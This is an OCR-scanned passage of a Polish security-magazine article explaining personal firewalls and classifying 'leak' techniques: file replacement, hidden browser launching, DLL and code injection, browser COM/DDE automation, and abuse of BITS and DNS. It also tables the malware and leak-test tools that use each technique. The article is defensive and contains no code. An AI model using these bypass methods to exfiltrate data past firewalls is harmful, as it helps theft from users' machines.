kownika, czy zezwoli¢ na takg aktywnos$¢, zabloko-
wac jg jednorazowo, czy tez stworzy¢ regute dla
tego typu aktywnos$ci sieciowej.
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Rysunek 3. Okno dialogowe wyswietlane przez zapore
sieciowg programu Kaspersky Internet Security 7.0
w trybie uczenia

Poniewaz komputer przecietnego uzytkownika po-
siada kilkanascie aplikacji, ktére wykazujg rézne ro-
dzaje aktywnosci sieciowej podczas dziatania, recz-
ne tworzenie listy regut uwzgledniajgcych aktyw-
nos¢ sieciowq aplikacji jest ztozonym i czasochton-
nym zadaniem. Z tego powodu zapory sieciowe za-
wierajg bazy predefiniowanych regut dla znanych
aplikacji sieciowych, takich jak Internet Explorer, Mi-
crosoft Outlook, Generic Host Process for Win32
Services (svchost.exe), Microsoft Application Error
Reporting (dwwin.exe) oraz wiele innych.
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Rysunek 4. Lista predefiniowanych reguft aplikacji dla
zapory sieciowej programu Kaspersky Internet Security 7.0
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Rysunek 5 pokazuje, w jaki spos6b zapora sieciowa
monitoruje dane wychodzgce i chroni przed wycie-
kiem danych:

Zapora sieciowa

Aplikacja 1

Aplikacja3 —»

Aplikacja 4

Aplikacja N

Rysunek 5. Dziatanie zapory sieciowej

Zapora sieciowa stanowi ,$ciang”, ktéra odgradza
aplikacje na komputerze uzytkownika od innych
komputerow w lokalnej sieci oraz w internecie. Dla
znanych (zaufanych) aplikacji (zaznaczonych na
rys. 5 kolorem zielonym) istniejg reguty zezwalajgce
(,luki” w ,Scianie") pozwalajgce im transmitowac
dane poprzez zapore sieciowg do Swiata na
zewnatrz. Gdy inna aplikacja bedzie prébowata
nawigza¢ aktywnosc¢ sieciowg, zostanie ona zablo-
kowana (,uderzy w $ciang”), w rezultacie aplikacja
nie bedzie mogta transmitowac danych do $wiata na
zewnatrz (lub otrzymywac¢ danych spoza zapory sie-
ciowej). Jednak w kazdym momencie uzytkownik
moze stworzy¢ nowe reguty zezwolen (zrobi¢ nowe
Juki” w ,Scianie”), aby umozliwi¢ aplikacji wymianeg
danych poprzez siec.

Nalezy zauwazy¢, ze niektore zapory sieciowe po-
siadajg rowniez komponent zapobiegania wlama-
niom, ktéry zapewnia ochrone przed atakami siecio-
wymi. Komponent ten skanuje wejsciowy i wyjscio-
wy ruch sieciowy w celu znalezienia pakietow sie-
ciowych, ktére odpowiadajg znanym szablonom
atakéw sieciowych znajdujgcym sie w bazie da-
nych. W przyszitosci opublikujemy artykut zawie-
rajgcy szczegotowg analize takich komponentow.

W jaki sposé6b zapory sieciowe
moga zwiekszy¢ bezpieczenstwo?

Zapory sieciowe zapewniajg dodatkowg warstwe
ochrony mogacg pomoéc zablokowac szkodliwe pro-
gramy, ktére nie sg wykrywane przez komponent
antywirusowy zintegrowanego systemu bezpieczen-
stwa. Szkodliwy program moze nie zosta¢ wykryty,
jesli nie zostat dodany do antywirusowej bazy da-
nych (dlatego nie moze by¢ wykrywany za pomocg
tradycyjnych metod opartych na sygnaturach) oraz
jesli nie wykazuje wyraznie szkodliwego czy cho-
ciazby podejrzanego zachowania (dlatego kompo-
nent analizy zachowania rowniez go nie wykryje).

Przed jakim typem szkodliwych programéw chroni
zapora sieciowa? Praktycznie przed kazdym szkod-
nikiem, ktéry znajduje sie aktualnie w obiegu. Cho-
ciaz brzmi to ogdlnikowo, jest to prawda. Obecnie
funkcje wigkszosci szkodliwych programéw wigzg
sie z aktywnoscig sieciowg, przez co mogq zostaé
zablokowane przez zapore sieciowg. Przykladem sg
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np. robaki sieciowe rozprzestrzeniajgce wtasne ko-
pie za posrednictwem sieci lokalnych/internetu.

Trojany, stanowigce obecnie 91,4 proc. wszystkich

szkodliwych programéw, réwniez wymieniajg dane

za posrednictwem sieci. Programy trojanskie obej-

muja;

® backdoory — narzedzia te tworzone sg w celu
zapewnienia zdalnego zarzgdzania komputerami
w sieci. Backdoory sg kontrolowane zdalnie. Za-
pora sieciowa moze tatwo zablokowac wszystkie
funkcje tych szkodnikow;

® trojany PSW — programy te kradng szereg roz-
nych informacji z zainfekowanych komputeréw.
Po wykradzeniu informacji trojan musi jeszcze
przestac je cyberprzestepcy. Wiadnie na tym eta-
pie zapora sieciowa moze zablokowaé podej-
mowane przez program préby wystania danych,
a tym samym ochroni¢ informacje uzytkownika;

® trojany downloadery — programy te pobierajg
nowe wersje innych szkodnikéw (trojanéw oraz
programéw adware) i instalujg je na atakowanej
maszynie. Programy z tej klasy wymieniajg dane
za posrednictwem sieci, dlatego tatwo mogg zo-
sta¢ zablokowane przez zapore sieciowa;

® trojany proxy — programy te uzyskujg anonimo-
wy dostep do réznych zasobdw internetowych
bez wiedzy czy zgody uzytkownika. Sg wykorzy-
stywane gtéwnie do wysytania spamu. Podobnie
jak w przypadku trojanéw downloaderéw, aktyw-
no$¢ sieciowa generowana przez trojany proxy
moze bez trudu zosta¢ zablokowana przez za-
pore sieciowg;

® trojany szpiegujace — jak sugeruje ich nazwa,
programy te mogg by¢ wykorzystywane do szpie-
gowania uzytkownikoéw zainfekowanych kompute-
row. Dane, facznie z informacjami wprowadzanymi
z klawiatury, zrzutami ekrandw, listami aktywnych
aplikacji oraz czynnosciami uzytkownika doty-
czacymi tych aplikacji, sg zapisywane w pliku na
dysku twardym i regularnie wysytane do cyberprze-
stepcy. Zapora sieciowa moze zablokowaé proby
wystania danych przez nieznany program. Dzigki
temu skradzione przez trojana dane uzytkownika
nie dotrg do zdalnego szkodliwego uzytkownika.

Nalezy zauwazy¢, ze zapory sieciowe nie mogq by¢
wykorzystywane do zwalczania klasycznych wiru-
séw. Wynika to z tego, ze w przeciwienstwie do
robakéw, wirusy nie wykorzystujg zasobdw siecio-
wych w celu przenikniecia do innych komputerow
i — w przeciwienstwie do trojanéw — nie muszg wy-
syta¢ danych ani otrzymywac polecen.

Zapora sieciowa to system bezpieczenstwa, ktory
trudno obejs¢. Chcac oming¢ ochrone antywirusowg
oraz mechanizm blokowania zachowan, autorzy szko-
dliwych programow testujg i modyfikujg swoje twory
tak dtugo, az obydwa komponenty ochrony nie bedg
w stanie wykry¢ szkodliwego kodu. Bardzo trudno
obej$¢ zapore sieciowg przy pomocy tej metody. Jesli
program generuje pewien rodzaj aktywnosci sieciowej,
nie jest fatwo ukry¢ jg przed zaporg sieciowg. Jedy-
nym sposobem jest wykorzystanie wyciekdw.

Co to sg wycieki i testy wyciekow?

Wycieki to technologia obchodzenia mechanizméw
zapory sieciowej stuzacych do kontroli aktywnosci

sieciowej, ktéra pozwala aplikaciom nieposia-
dajacym regut zezwolen na liscie regut zapory sie-
ciowej na wysytanie danych do odbiorcéw spoza
sieci. Zapora sieciowa nie zapobiega wysyfaniu ta-
kich danych i nie informuje uzytkownika o takiej
aktywnosci sieciowej w trybie uczenia.

Dobrze zaprojektowana zapora sieciowa nie powin-
na pozwoli¢ na zadne wycieki. Powinna potrafi¢ wy-
kry¢ wszelkg probe wejsciowej i wyjsciowej aktyw-
nosci sieciowej. Z tego powodu analizujgc jakos¢
ochrony zapewnianej przez zapore sieciowg stosuje
sie dwa kryteria: jako$¢ ochrony wejsciowej, tj.
ochrony przed penetracjg z zewnatrz sieci, oraz ja-
kos¢ ochrony wyjsciowej, tj. ochrony przed wycieka-
mi danych wysytanych z komputera.

W testach jakosci ochrony, jakg zapora sieciowa
zapewnia przed penetracjg z zewnatrz, stosowa-
ne sg rézne otwarte skanery portéw (np. Shields-
UP! http://www.grc.com/default.ntm, Quick test http:
Ilwww.pcflank.com/test.htm itp.).

Aby zbada¢, jak dobrze zapora sieciowa chroni
przed wyciekami danych, wykorzystuje sie testy wy-
ciekdw. Sa to niewielkie nieszkodliwe programy, kto-
re implementujg jeden lub wiecej wyciekdéw. Progra-
my te sg w wigkszosci rozwijane przez ekspertow
ds. bezpieczenstwa.

Naturalnie, jedynym sposobem spowodowania wy-
cieku jest wykorzystanie istniejacych ,luk” (tj. regut
zezwolen) dla znanych aplikacji. Wymaga to jednak
.przekonania” zapory sieciowej, ze aktywno$¢ sie-
ciowa zostata zainicjowana przez zaufang aplikacje.
Mozna to osiggng¢ za pomocg wielu metod. Za-
nim przejde do omoéwienia tych metod, przyjrzyjmy
sie podstawowym zasadom wykonywania aplikacji
w dzisiejszych systemach operacyjnych.

Zapora sieciowa
Aplikacja 1

Aplikacja 3

Aplikacja N

Rysunek 6. Jak dziata wyciek

Wykonywanie aplikacji we wspétczesnych
systemach operacyjnych

Procesor komputera wykonuje listy instrukcji prze-
chowywanych w pamieci RAM komputera. Listy in-
strukcji pogrupowane sg w watki wykonania, ktore
mozna przyporzgdkowa¢ do procesow aktualnie
uruchomionych w pamigci RAM.

Pliki wykonywalne zawierajq listy instrukcji proceso-
ra. Uruchomienie pliku wykonywalnego prowadzi do
pojawienia sie nowego procesu w systemie. Proces
moze zostac¢ stworzony réwniez programowo, przez
inny proces. System operacyjny przechowuje drze-
WO procesow w pamieci RAM.

Nalezy zauwazy¢, ze przestrzen adresowa wiekszo-
8ci procesOw w systemie zawiera nie tylko kod pliku
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wykonywalnego aplikacji, ale réwniez kod licznych
bibliotek dotgczanych dynamicznie (DLL). Biblioteki
te wykorzystywane sg do przechowywania pewnych
wspolnych funkcji uzywanych przez kilka aplikaciji.
Pozwala to programistom unikng¢ dublowania tego
samego kodu programu w réznych plikach wykony-
walnych. Ta sama biblioteka moze zosta¢ zatado-
wana do przestrzeni adresowej roznych procesow.

RAM
Twardy dysk
Proces aplikacji
Przestrzen adresowa
i Uruchomienie
Plik wykony
aplikacji

Kod aplikacji
Biblioteka DLL 1 |7 Biblioteka DLL1
/—v Biblioteka DLL N
Biblioteka DLL N [

-~
Rysunek 7. Wykonanie aplikacji

Klasyfikacja technologii wyciekow

Aranzowanie wyciekéw

W sekcji tej zbadano technologie, ktére szkodliwa
aplikacja moze wykorzysta¢ do ,oszukania” zapo-
ry sieciowej. Rysunek 8 ilustruje podstawowg kon-
cepcje — w pamieci RAM znajdujg sie znane zapo-
rze sieciowej procesy zaufanych aplikacji oraz pro-
ces nieznanej (szkodliwej) aplikaciji.

[P Y ey [LTEEY SHSY

Rysunek 8. Aranzowanie wycieku

Jezeli nieznana aplikacja podejmie prébe zainicjo-
wania aktywno$ci sieciowej, zapora sieciowa zablo-
kuje jg lub spowoduje wySwietlenie okna dialogowe-
go, w ktérym uzytkownik zostanie zapytany, jaka ak-
cja powinna zosta¢ podjeta.

Wyrézniamy 3 gtébwne podejscia do obchodzenia
ochrony zapewnianej przez zapore sieciowq;:

® oszukiwanie zapory sieciowej, tj. ,przekonanie”
jej, ze aktywnos$¢ sieciowa jest inicjowana przez
zaufang aplikacje. Mozna tego dokonaé¢, podsta-
wiajgc plik wykonywalny zaufanej aplikacji na
dysku twardym lub zastepujgc dane nieznanego
procesu danymi zaufanego procesu w pamieci
RAM;

® wykonanie kodu ,w imieniu” zaufanej aplikacji
przez wstrzyknigcie biblioteki DLL lub niewielkie-
go fragmentu kodu nieznanej aplikacji do prze-
strzeni adresowej zaufanej aplikacji. Zapora sie-
ciowa nie bedzie mogta odrézni¢ aktywnosci sie-
ciowej takich wstrzyknietych elementéw od nor-
malnej aktywnosci sieciowej zaufanej aplikacji;

® wykorzystanie udokumentowanych interfejséw za-
ufanych aplikacji. Podczas wykorzystywania ta-
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kich interfejsow aktywnos¢ sieciowa bedzie inicjo-
wana przez zaufane aplikacje. Bedzie jednak kon-
trolowana przez niezaufang aplikacje, pozwalajac
jej na transmitowanie danych za posrednictwem
interfejséw do odbiorcéw spoza sieci bez wywo-
tywania alarméw zapory sieciowe;.

Wyrdzniamy sze$¢ technologii wyciekdw, ktdre wy-
korzystujg trzy opisane wyzej podejscia:

Podejscie 2 Podejscie 3
(wykonanie (wykorzysty-
Podejscie 1 kodu wanie

(oszukiwanie) w imieniu udokumento-
zaufanej wanych
aplikaciji) interfejsow)

1 Zastepowanie
2 Uruchamianie
3 Wstrzykiwanie

biblioteki DLL
4 Wstrzykiwanie

kodu
5 Ustugi
przegladarki
6 Ustugi
systemowe

Ponizej znajduje sie szczegdtowy opis tych techno-
logii oraz ich potencjalne implementacje.

Technologie wyciekéw

Zastepowanie

Podstawianie pliku wykonywalnego zaufanej aplika-
cji na dysku twardym lub zastepowanie danych nie-
znanego procesu danymi zaufanego procesu w pa-
mieci RAM. Metoda ta opiera sie na ,przekonywa-
niu” zapory sieciowej, ze aktywno$¢ sieciowa zo-
stata zainicjowana przez zaufany proces.

S3 trzy metody zastepowania:

® podstawianie pliku wykonywalnego zaufanej apli-
kacji na dysku twardym (zaimplementowana
w tescie wyciekdw Runner, zobacz sekcje Testy
wyciekow);

® zastepowanie nazwy pliku nieznanej aplikacji
nazwg pliku zaufanej aplikacji (Test wycieku);

® zastepowanie danych nieznanego procesu dany-
mi zaufanego procesu w obrazie procesu fado-
wanym w pamieci RAM (Coat).

Rysunek 9 ilustruje pierwszy typ zastepowania:

ey
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Rysunek 9. Podstawianie pliku zaufanego procesu
na dysku twardym

Uruchamianie

Uruchamianie zaufanej aplikacji z parametrami
wiersza polecen. Metoda ta wykorzystuje fakt, ze
wiekszos¢ przegladarek akceptuje adres strony in-
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ternetowej, ktéra ma zostac¢ otwarta, w postaci para-
metru wiersza polecen. Jesli strona internetowa za-
wiera skrypt po stronie serwera (np. cgi), linia adre-
sowa moze zawieraC réwniez parametry, ktdre bedg
wykorzystywane przez skrypt jako dane wejsciowe.
Parametry te mogg zawiera¢ poufne informacje, np.
dane skradzione przez oprogramowanie spyware.
Istotne jest to, ze cata aktywnos$c¢ sieciowa jest gene-
rowana przez przegladarke tak samo jak zwykle, dla-
tego reguty zapory sieciowej zawsze na nig zezwola.

Aby uniemozliwi¢ uzytkownikowi zobaczenie okna
przegladarki, jest ona zwykle uruchamiana w trybie
ukrycia (Ghost, TooLeaky, Wallbreaker [1]).

Zamiast bezposredniego uruchomienia szkodliwy
kod moze réwniez uruchomi¢ przegladarke przy
uzyciu innego procesu. Na przyktad:

® uruchomi¢ przegladarke przy uzyciu procesu
powtoki Windows Explorer.exe (Wallbreaker [2]);

® uruchomi¢ przegladarke przy uzyciu procesu
powtoki Windows Explorer.exe, ktéry sam jest
uruchamiany przy uzyciu interpretera polecen
cmd.exe (Wallbreaker [3]);

® uruchomi¢ przegladarke przy uzyciu mechanizmu
planowania zadan systemu Windows (Wallbrea-
ker[4]). W tym przypadku proces zostanie uru-
chomiony w nastepujgacej sekwenc;ji:
AT.exe->Svchost.exe->Cmd.exe-Explorer.exe->
IExplore.exe.

Metoda ta zostata przedstawiona ponizej:

Rysunek 10 Uruchamianie zaufanej aplikacji
z parametrami wiersza polecen
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Wstrzykiwanie biblioteki DLL

Wstrzykiwanie biblioteki dotgczanej dynamicznie do
przestrzeni adresowej zaufanego procesu. Metoda
ta taduje dotgczang dynamicznie biblioteke szkodli-
wego programu do przestrzeni adresowej zaufane-
go procesu. Mozna to wykona¢ na kilka sposobow,
jednak gtéwne metody to:

® zainstalowanie globalnego punktu zaczepienia.
Jego kod jest zlokalizowany w bibliotece dotg-
czanej dynamicznie (CPILSuite [2,3], FireHole,
pcAudit, pcAudit2);

® zmodyfikowanie wartosci rejestru systemowego
w celu dodania biblioteki dotgczanej dynamicznie
do listy bibliotek DLL, ktére sg automatycznie ta-
dowane przez system do kazdego nowego pro-
cesu — klucz Applnit_DLLs (Jumper).

Obie metody sg udokumentowane i wykorzystywa-
ne do legalnych celow.

Metoda ta zostata przedstawiona na rys. 11.

Wstrzykiwanie kodu

Wstrzykiwanie kodu do przestrzeni adresowej zaufa-
nego procesu bez wykorzystania biblioteki dotgcza-

¥ i A

— f:EEE
ey -

Rysunek 11. Wstrzykiwanie biblioteki dofaczanej
dynamicznie do zaufanego procesu

nej dynamicznie. Metoda ta polega na wstrzykiwaniu
kodu wykonywalnego do przestrzeni adresowej za-
ufanego procesu. Po wstrzyknigciu kod ten moze ini-
cjowac kazdg aktywno$¢ sieciowg, poniewaz zapora
sieciowa uzna jg za aktywnos¢ zaufanej aplikacji.
W przeciwienstwie do metody wstrzykiwania DLL, le-
galnos¢ tej operacji jest watpliwa, mimo ze istniejg
udokumentowane metody wstrzykiwania kodu do
proceséw innych aplikacji. Takie wstrzykiwanie kodu
jest czasami wykorzystywane przez legalne progra-
my (np. debuggery), jednak w gtbwnej mierze przez
szkodliwe oprogramowanie.

Istnieje kilka metod wstrzykiwania kodu do proce-
sow innych aplikacji. Ponizej przedstawiono kilka
przyktadow:

® tadowanie zaufanego procesu do pamieci RAM
oraz tatanie pamieci procesu (AWFT [1], CPIL,
DNStest). Moze to by¢ poprzedzone probg unik-
niecia wykrycia tej operacji przez zapore sie-
ciowg poprzez wytaczenie punktéw zaczepienia
zapory sieciowej (CPILSuite[1]);

® |okalizowanie zaufanego procesu w pamigci
RAM oraz wstrzykiwanie do niego kodu (Thermi-
te);

® tadowanie zaufanego procesu do pamieci RAM
i tworzenie w nim zdalnego watku (AWFT [2,3]);

® tadowanie zaufanego procesu do pamieci RAM,
tworzenie w nim zdalnego watku, fadowanie ko-
lejnego zaufanego procesu z tego watku i tatanie
jego pamieci przed wykonaniem (AWFT [4,5,6]);

® wykorzystywanie funkcji SetThreadContext w ce-
lu przejecia kontroli nad watkiem w zaufanym
procesie (CopyCat).

Najczesciej atakowanymi procesami sg procesy
przegladarek internetowych (Internet Explorer itd.
- AWFT [1,2,4], testy CopyCat oraz Thermi-
te), powloki systemu operacyjnego (explorer.exe
— AWFT [3,4], CPIL oraz CPILSuite [1]) oraz proces
svchost.exe, ktory jest gtbwnym procesem ustug sy-
stemu Windows tadowanych z bibliotek kompilowa-
nych dynamicznie (test DNStest).

Metoda ta zostata pokazana ponizej:

¥ s e M

ok
= B

Rysunek 12. Wstrzykiwanie szkodliwego kodu do
zaufanego procesu
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Ustugi przegladarki

Wykorzystywanie interfejsow programowych do
kontrolowania przegladarki internetowej. Metoda
ta wykorzystuje rézne mechanizmy w systemie
Windows przeznaczone do poprawy interakcji mig-
dzy procesami roznych komponentow/aplikacji. Me-
chanizmy te obejmuja:

® wysytanie wiadomosci systemu Windows do okna
przegladarki internetowej. Powoduje to zmiane
wartosci w linii adresowej przeglgdarki, a wcisnie-
cie przycisku ,Go” przekierowuje przegladarke do
podanego adresu (Breakout);

® wykorzystywanie interfejsu DDE przegladarki, {j.
mechanizmu Dynamicznej Wymiany Danych http:
Ilpl.wikipedia.org/wiki/Dynamic_Data_Exchange. Bibliote-
ka DDE zostata rozwinieta w celu rozszerzenia
mozliwosci systemu wiadomosci Windows, po-
zwalajgc dwom aplikacjom na dynamiczng wy-
miane danych podczas wykonywania (obstuga
DDE w réznych wersjach Internet Explorera zo-
stata opisana w artykule dostepnym na stronie
http://support.microsoft.com/kb/q160957) (Surfer, Zabypass,
WB [1,3,4]; CPILSuite [3]);

® wykorzystywanie przegladarki jako serwera auto-
matyzacji (mechanizm automatyzacji OLE oparty
na modelu COM (http:/pl.wikipedia.org/wiki/Object_Lin-
king_and_Embedding). Automatyzacja OLE jest rozsze-
rzeniem technologii DDE. Kazda wspoétczesna
przegladarka zapewnia interfejs COM (http://pl.wiki-
pedia.org/wiki/fComponent_Object_Model), ktéry moze zo-
sta¢ wykorzystany przez inne programy jako ser-
wer automatyzacji. Istniejg dwa komponenty COM
przegladarki Microsoft Internet Explorer w aplika-
cjach zewnetrznych (http:/msdn2.microsoft.com/en-us/li-
brary/aa741313.aspx):

B WebBrowser Control, zaimplementowany
w shdocvw.dll (OSfwbypass),

H interfejs MSHTML zaimplementowany
w mshtml.dll (PCFlank).

Metoda ta zostata pokazana na ponizszym rysunku:

Rysunek 13. Wykorzystanie interfejséw programow
do kontrolowania przegladarki

Ustugi systemowe

Wykorzystywanie interfejsow programowych zapew-
nianych przez ustugi systemowe. Metoda ta jest po-
dobna do metody opisanej wyzej. R6znica polega
na tym, ze wykorzystywane interfejsy programowe
sgq zapewniane przez komponenty systemu ope-
racyjnego, a nie przegladarke internetowg. Win-
dows XP oraz Windows Vista posiadajg przynaj-
mniej trzy takie interfejsy:

® BITS (Background Intelligent Transfer Service,
http://msdn2.microsoft.com/en-us/library/Aa362827 .aspx)
— jest to inteligentna ustuga pobierania plikow
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wykorzystywana przez Windows Update oraz
Windows Server Update Services. Pozwala ona
na pobieranie tat i aktualizacji w tle, bez prze-
cigzania kanatéw komunikacji. Ponadto automa-
tycznie wznawia pobieranie w przypadku utraty
potaczenia (BITSTester);

® funkcje Windows DNS API (http://msdn2.micro-
soft.com/en-us/library/ms682100.aspx) mogg zosta¢ wy-
korzystane do tworzenia rekursywnych zapytan
DNS do internetowego serwera nazw. Dodatko-
we dane, tgcznie z poufnymi danymi uzytkowni-
ka, mogg zosta¢ wystane w ramach pakietu
DNS. Cyberprzestepca kontrolujgcy serwer nazw,
ktory przetwarza zapytania DNS, moze uzyskacé
te informacje poprzez przetwarzanie tego spec-
jalnie stworzonego pakietu DNS (DNStester);

® po aktywacji Windows Active Desktop interfejs
zarzadzania elementami i tapetg pulpitu Win-
dows (lActiveDesktop, http://msdn2.microsoft.com/en-us/li-
brary/ms647199.aspx) moze zosta¢ wykorzystany do
ustawienia strony HTML jako tapety pulpitu. Stro-
na HTML moze zawiera¢ elementy, ktore fgczg
sie z zewnetrznymi zasobami, w wyniku czego
zasoby te sg fadowanie w momencie aktywowa-
nia nowej tapety pulpitu (Breakout2).

Réznice w istniejacych klasyfikacjach wyciekéw

Powyzsza klasyfikacja nieznacznie rézni sie od kla-
syfikacji technologii wyciekéw podawanych na spe-
cjalistycznych stronach internetowych poswieco-
nych analizie wyciekow.

Zgodnie z naszg wiedzg, pierwszg strong interne-
towa, na ktorej publikowano systematyczne badania
wyciekdw, byta http://www.firewallleaktester.com. Klasyfi-
kacja ta dostepna jest na stronie http://www.firewallleak
tester.com/categories.htm.

W 2006 roku pojawita sie inna strona, http://www.ma-
tousec.com. Jednym z wazniejszych projektoéw jest
Windows Personal Firewall Analysis (Analiza oso-
bistej zapory sieciowej systemu Windows) (http://
www.matousec.com/projects/windows-personal-firewall-analy-
sisf/introduction-firewall-leak-testing.php). Klasyfikacja wy-
ciekdbw wykorzystana w tym badaniu jest podobna
do tej, ktéra znajduje sie na stronie http://www.firewall-
leaktester.com, sg jednak pewne réznice.

Ro6znice miedzy klasyfikacjami opisano ponizej.

Klasyfikacja wykorzystana w tym artykule nie zawie-
ra metod przedstawionych w tab. 1.

Tabela 1
Metoda na stronie

www.firewallleaktester.com

1 Ukryte reguty (Hidden rules)

Metoda na stronie
www.matousec.com

Domysine reguty (Default Rules)

Bezposrednie wykorzystanie
2 interfejsu sieciowego
(Direct network interface use)

Wiasny sterownik protokotu
(Own Protocol Driver)

3 Atak czasowy (Timing attack)

Rekursywne zapytania

4 (Recursive requests)
Wstrzykiwanie do rejestru
5 ) N
(Registry injection)
6 Potaczenie metod Windows Windows Messages
Messaging + OLE oraz OLE Automation, DDE
7 Unhooking
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> Metody te nie zostaty uwzglednione w naszej klasy-
fikacji z nastepujacych powodéw:

® Metoda ,,Ukryte reguty” nie jest sama w sobie

startowanie wlasnego procesu w celu zmiany
PID, tj. identyfikatora procesu).

W naszej klasyfikacji metoda ,,Rekursywne za-

wyciekiem (zobacz definicje wycieku powyzej),
poniewaz nie implementuje zadnej technologii,
ktora obchodzi mechanizm kontrolowania aktyw-
nosci sieciowej w zaporze sieciowej. Metoda ta
sprawdza zestaw regut pakietowych (odnosza-
cych sie do wszystkich aplikacji w systemie) wy-
korzystywany domys$lnie przez zapore sieciowg.
Jesli jeden z portéw sieciowych jest otwarty dla
wszystkich aplikacji, moze zosta¢ wykorzystany
przez szkodliwg aplikacje do wysytania danych
do odbiorcéw spoza sieci.

Metoda ,,Bezposrednie wykorzystywanie inter-
fejsu sieciowego” obchodzi mechanizmy filtro-
wania ruchu sieciowego na ,niskim” poziomie.
Metoda ta tworzy alternatywny stos sterownikdéw
sieciowych, ktére przetwarzajg pakiety pocho-
dzace z karty sieciowej rownolegle do stoséw sy-
stemowych (TCP/IP itd.). Metoda ta nie zostata
uwzgledniona w naszej klasyfikacji, poniewaz nie
istniejg obecnie zadne implementacje (testy wy-
ciekéw) dziatajagce pod kontrolg wspotczesnych
systemow operacyjnych, tj. Windows XP/Vista.
Ponadto jest wysoce nieprawdopodobne, ze
w przysziosci pojawig sie nowe testy wyciekow
(lub szkodliwe programy) wykorzystujace te me-
tode, poniewaz jest ona znacznie bardziej ztozo-
na niz inne metody, za pomocg ktérych mozna
przeprowadzi¢ ataki-wycieki. Metoda ta jest jed-
nak wykorzystywana w trzech testach wyciekdw,
ktore dziatajg na przestarzatym juz systemie Win-
dows 9x:

B MbTest (autor: ,mbcx8nlp”, 2003), wykorzystu-
je biblioteke Winpcap;

B Outbound (autor: HackBusters, 2001);
B YALTA [2] (autor: Softdever, 2001).

Metoda ,,Atak czasowy” nie zostata skatego-
ryzowana jako oddzielna metoda w naszej klasy-
fikacji. Wynika to z tego, ze obecnie praktycznie
zadna zapora sieciowa nie moze zosta¢ ominieta
przy uzyciu technologii, na ktérej jest oparta (re-

pytania” nalezy do grupy Ustfugi systemowe.

® W naszej klasyfikacji metoda ,,Wstrzykiwanie
do rejestru” zostata skategoryzowana jako wa-
riant metody wstrzykiwania DLL, poniewaz jej
istota nie polega na modyfikowaniu rejestru, ale
na wstrzykiwaniu biblioteki dotgczanej dynamicz-
nie do zaufanych procesow. Mozna tego doko-
na¢ miedzy innymi poprzez wykorzystanie spe-
cjalnego klucza rejestru.

® W naszej klasyfikacji metody zgrupowane w ka-
tegorii ,Windows Messaging + OLE” zostaty
umieszczone w grupach Ustugi przeglgdarki oraz
Ustugi systemowe. Uwazamy, ze jest to bardziej
logiczne, poniewaz zamiast opisywania imple-
mentacji technicznej (wysytanie wiadomosci itd.)
odzwierciedla ona istote technologii wycieku na
wyzszym poziomie — wykorzystywanie interfej-
séw programu do kontrolowania przegladarki lub
wykorzystywanie ustug sieciowych systemu ope-
racyjnego.

® Unhooking. Metoda ta opiera sie¢ na nastepu-
jacej koncepciji: aby zapewni¢ ochrone przed nie-
ktorymi technologiami wyciekoéw, zapory sieciowe
wykorzystujg tzw. punkty zaczepienia w celu
przechwytywania funkcji systemowych. Jesli sg
one wylgczone (ang. unhooked), zapora siecio-
wa nie bedzie mogta zwalcza¢ wyciekdw. Z opisu
tego wyraznie wynika, ze metoda ta jako taka nie
jest wyciekiem, dlatego nie jest zawarta w na-
szej klasyfikacji wyciekéw. Jednak w potgczeniu
z ,prawdziwg” metodg wyciekbw pomaga zwery-
fikowa¢, jak skutecznie zapora sieciowa chroni
przed takg metodg wyciekéw w trudnych warun-
kach, poprzez symulowanie sytuacji, w ktorej
szkodliwy kod aktywnie blokuje funkcjonalnosé
zapory sieciowej.

Wykorzystanie wyciekéw
w szkodliwych programach

Jeszcze kilka lat temu rzadko wykorzystywano za-
pory sieciowe do ochrony komputerow osobistych.

Tabela 2
_ Backdoor. Zastgpuje MSN Messenger
1 Zastepowanie - ) 26 marca, 2007 (C:\Program Files\MSN
Win32.Bifrose.aer ;
Messenger\msnmsgr.exe) wtasng kopig
Uruchamianie poprzez Troian-S Uruchamia Internet Explorer w ukrytym
2 parametry wiersza ol PY- 26 lipca, 2007 oknie ze $ciezka do pliku HTML w
A Win32.Agent.se : .
polecen wierszu polecen
Troian-S Rejestruje DLL w kluczu rejestru
3 Wstrzykiwanie DLL _rojan-spy. 11 czerwca, 2007 | Applnit_DLLs i wykorzystuje go do
Win32.Goldun.pq . h
przechwytywania ruchu internetowego
. . - Tworzy watek w procesie winlogon.exe
4 Wstrzykiwanie kodu TI’OJaI'l SPpy. 19 stycznia, 2007 | i wykorzystuje go do wysytania danych
do zaufanego procesu Win32.Delf.uc
do Internetu
Trojan-PSW Wykorzystuje interfejs IWebBrowser2
5 Ustugi przegladarki Win32.LdPinch bix 4 stycznia, 2007 COM do wysytania przechwyconych
danych
Wykorzystuje ustuge systemowg BITS
. Trojan-Downloader. do wysytania poprzez Internet danych
6 Ustugi systemowe Win32.Nurech.br 8 czerwea, 2007 identyfikacji uzytkownika (numer
seryjny dysku)

INFOTEL 1/2008



Tabela 3
Lp \EVATE] Autor Metoda Rok
1 AWFT [6] Jos Pascoa Wstrzykiwanie kodu 2005
2 BITSTester Tim Fish Ustugi systemowe 2006
3 Breakout Volker Birk Ustugi przegladarki Brak danych
4 Breakout2 Volker Birk Ustugi systemowe Brak danych
5 Coat David Matousec Zastepowanie 2006
6 CopyCat «Bugsbunny» Wstrzykiwanie kodu Brak danych
7 CPIL Comodo Wstrzykiwanie kodu 2006
8.1 CPILSuite [1] Comodo Wstrzykiwanie kodu + Uruchamianie 2006
8.2 CPILSuite [2] Comodo Wstrzykiwanie biblioteki DLL + Uruchamianie 2006
8.3 CPILSuite [3] Comodo Wstrzykiwanie biblioteki DLL + Ustugi przegladarki 2006
9 DNStest Jarkko Turkulainen Wstrzykiwanie kodu 2004
10 DNStest Jarkko Turkulainen Ustugi systemowe 2004
1" FireHole Robin Keir Wstrzykiwanie biblioteki DLL 2002
12 FPR (38) David Matousec [unhooking] Brak danych
13 Ghost Guillaume Kaddouch Uruchamianie Brak danych
14 Jumper Guillaume Kaddouch Wstrzykiwanie biblioteki DLL 2006
15 LeakTest Steve Gibson Uruchamianie 2002
16 OSfwbypass Debasis Mohanty Ustugi przegladarki 2005
17 pcAudit '”terxﬁitaigzurity Wistrzykiwanie biblioteki DLL 2002
18 pcAudit2 '”ter/:ﬁitaﬁigu”ty Wtrzykiwanie biblioteki DLL Brak danych
19 PCFlank www.pcflank.com Ustugi przeglgdarki 2006
20 Runner David Matousec Zastepowanie 2006
21 Surfer Jarkko Turkulainen Ustugi przegladarki 2004
22 Thermite Oliver Lavery Wstrzykiwanie kodu 2003
23 TooLeaky Bob Sundling Uruchamianie 2001
